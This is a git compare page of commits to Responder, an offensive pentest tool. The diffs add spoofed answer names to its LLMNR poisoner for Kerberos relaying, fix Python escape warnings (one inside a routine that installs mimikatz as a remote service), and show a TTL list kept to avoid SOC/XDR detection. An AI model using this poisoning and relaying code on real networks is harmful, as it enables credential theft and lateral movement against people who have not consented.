Compare commits

...

4 Commits

Author SHA1 Message Date
Arnaud Rebillout
eb0f3ccaac Merge d273a881b2 into d740fb526f 2025-01-27 07:31:34 -03:00
lgandx
d740fb526f Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
Arnaud Rebillout
d273a881b2 Fix various Python 3.12 SyntaxWarning
```
/usr/share/responder/tools/MultiRelay/RelayMultiCore.py:1957: SyntaxWarning: invalid escape sequence '\p'
  Command          = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py:33: SyntaxWarning: invalid escape sequence '\['
  +'([^\[]*)' # Network Address (opt.)
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py:34: SyntaxWarning: invalid escape sequence '\['
  +'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py:197: SyntaxWarning: invalid escape sequence '\<'
  0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py:285: SyntaxWarning: invalid escape sequence '\<'
  0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/uuid.py:41: SyntaxWarning: invalid escape sequence '\d'
  matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
/usr/share/responder/tools/MultiRelay/impacket-dev/impacket/uuid.py:71: SyntaxWarning: invalid escape sequence '\.'
  g =  re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
```
2024-09-11 10:41:44 +07:00
8 changed files with 38 additions and 17 deletions

View File

@@ -157,15 +157,24 @@ Options:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. Default: False
ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in tits Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kebreros relaying over HTTP.
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:

View File

@@ -46,6 +46,7 @@ parser.add_option('--lm', action="store_true", help="Force LM h
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
options, args = parser.parse_args()
if not os.geteuid() == 0:

View File

@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
@@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],

View File

@@ -172,6 +172,7 @@ class Settings:
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]

View File

@@ -1954,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
RandomFName = GenerateRandomFileName()
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
#Install mimikatz as a service.
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
MimiKatzSVCName = GenerateServiceName()
MimiKatzSVCID = GenerateServiceID()
data,s = SMBOpenPipe(Host, data, s)

View File

@@ -29,9 +29,9 @@ from impacket.smbconnection import SMBConnection
class DCERPCStringBinding:
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
+'([_a-zA-Z0-9]*):' # Protocol Sequence
+'([^\[]*)' # Network Address (opt.)
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
+r'([_a-zA-Z0-9]*):' # Protocol Sequence
+r'([^\[]*)' # Network Address (opt.)
+r'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
def __init__(self, stringbinding):
match = DCERPCStringBinding.parser.match(stringbinding)

View File

@@ -194,7 +194,7 @@ ERROR_MESSAGES = {
0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
@@ -282,7 +282,7 @@ ERROR_MESSAGES = {
0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),

View File

@@ -38,7 +38,7 @@ def string_to_bin(uuid):
# If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
# The first three components of the UUID are little-endian, and the last two are big-endian
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
matches = re.match(r'([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
uuid = pack('<LHH', uuid1, uuid2, uuid3)
uuid += pack('>HHL', uuid4, uuid5, uuid6)
@@ -68,7 +68,7 @@ def bin_to_uuidtup(bin):
# "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
def string_to_uuidtup(s):
g = re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
g = re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
if g:
(u,v) = g.groups()
return (u,v)